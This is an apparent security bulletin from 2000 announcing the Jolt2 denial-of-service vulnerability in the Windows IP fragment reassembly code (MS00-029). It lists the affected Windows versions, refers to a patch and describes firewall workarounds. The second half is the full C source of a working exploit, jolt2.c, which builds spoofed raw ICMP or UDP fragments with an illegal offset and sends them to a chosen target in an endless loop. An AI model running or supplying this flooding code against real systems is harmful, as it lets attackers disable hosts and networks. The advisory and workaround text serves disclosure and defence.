Subject: [EXPL] Jolt2 - a new Windows DoS attack Date: Sat, 27 May 2000 23:27:16 +0200 Jolt2 - a new Windows DoS attack -------------------------------------------------------------------------------- SUMMARY A major vulnerability has been discovered in Windows' networking code. The vulnerability allows remote attackers to cause a Denial of Service attack against Windows based machines - the attack causes the target machine to consume 100% of the CPU time on processing of illegal packets. DETAILS Vulnerable systems: - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 Workstation - Microsoft Windows NT 4.0 Server - Microsoft Windows NT 4.0 Server, Enterprise Edition - Microsoft Windows NT 4.0 Server, Terminal Server Edition - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server - Microsoft Windows 2000 Advanced Server Patch: See our previous article: Patch Available for the "IP Fragment Reassembly" Vulnerability Workaround: On stateful packet filtering firewalls: * The packet fails structural integrity tests. The reported length (68) is much larger than the received length (29). However: A broken router may decide to send 68 bytes when forwarding it (adding 39 bytes of random padding). * This incarnation of the attack is also illegal in that it wraps the IP packet size limit. The IP data length reported is 48, and the offset is 65520. * If the firewall has any sort of fragment reassembly, it shouldn't forward a single packet, since there are no valid fragments preceding the attack sequence. * If the firewall maps fragments to open connections, it should detect that there is no open connection for this particular packet, thereby discarding it. Proxy firewalls: * A proxy function will never pass this attack pattern to the protected network (assuming that there is no packet filtering functionality applied to the firewall). * If the proxy firewall is running on a vulnerable OS and doesn't have its own network layer code (relies on the MS stack), the attack will DoS the firewall itself, effectively DoSing your entire connection. Any other type of Firewall: * If the firewall does fragment reassembly in an incorrect way (maybe by trusting vulnerable MS stacks to do it), it will be vulnerable to the attack, regardless of which type of firewall it is. Exploit: /* * File: jolt2.c * Author: Phonix * Date: 23-May-00 * * Description: This is the proof-of-concept code for the * Windows denial-of-serice attack described by * the Razor team (NTBugtraq, 19-May-00) * (MS00-029). This code causes cpu utilization * to go to 100%. * * Tested against: Win98; NT4/SP5,6; Win2K * * Written for: My Linux box. YMMV. Deal with it. * * Thanks: This is standard code. Ripped from lots of places. * Insert your name here if you think you wrote some of * it. It's a trivial exploit, so I won't take credit * for anything except putting this file together. */ #include #include #include #include #include #include #include #include #include #include #include struct _pkt { struct iphdr ip; union { struct icmphdr icmp; struct udphdr udp; } proto; char data; } pkt; int icmplen = sizeof(struct icmphdr), udplen = sizeof(struct udphdr), iplen = sizeof(struct iphdr), spf_sck; void usage(char *pname) { fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); exit(0); } u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) { int bs, psize; unsigned long x; struct sockaddr_in to; to.sin_family = AF_INET; to.sin_port = 1235; to.sin_addr.s_addr = dst_addr; if (port) psize = iplen + udplen + 1; else psize = iplen + icmplen + 1; memset(&pkt, 0, psize); pkt.ip.version = 4; pkt.ip.ihl = 5; pkt.ip.tot_len = htons(iplen + icmplen) + 40; pkt.ip.id = htons(0x455); pkt.ip.ttl = 255; pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons (8190); if (port) { pkt.proto.udp.source = htons(port|1235); pkt.proto.udp.dest = htons(port); pkt.proto.udp.len = htons(9); pkt.data = 'a'; } else { pkt.proto.icmp.type = ICMP_ECHO; pkt.proto.icmp.code = 0; pkt.proto.icmp.checksum = 0; } while (1) { bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); } return bs; } int main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, bs=1, port=0; char hostname[32]; if (argc < 2) usage (argv[0]); gethostname (hostname, 32); src_addr = host_to_ip(hostname); while ((i = getopt (argc, argv, "s:p:h")) != EOF) { switch (i) { case 's': dst_addr = host_to_ip(optarg); if (!dst_addr) quit("Bad source address given."); break; case 'p': port = atoi(optarg); if ((port <=0) || (port > 65535)) quit ("Invalid port number given."); break; case 'h': default: usage (argv[0]); } } dst_addr = host_to_ip(argv[argc-1]); if (!dst_addr) quit("Bad destination address given."); spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) quit("IP_HDRINCL"); do_frags (spf_sck, src_addr, dst_addr, port); } ADDITIONAL INFORMATION The information has been provided by: Phonix. ======================================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.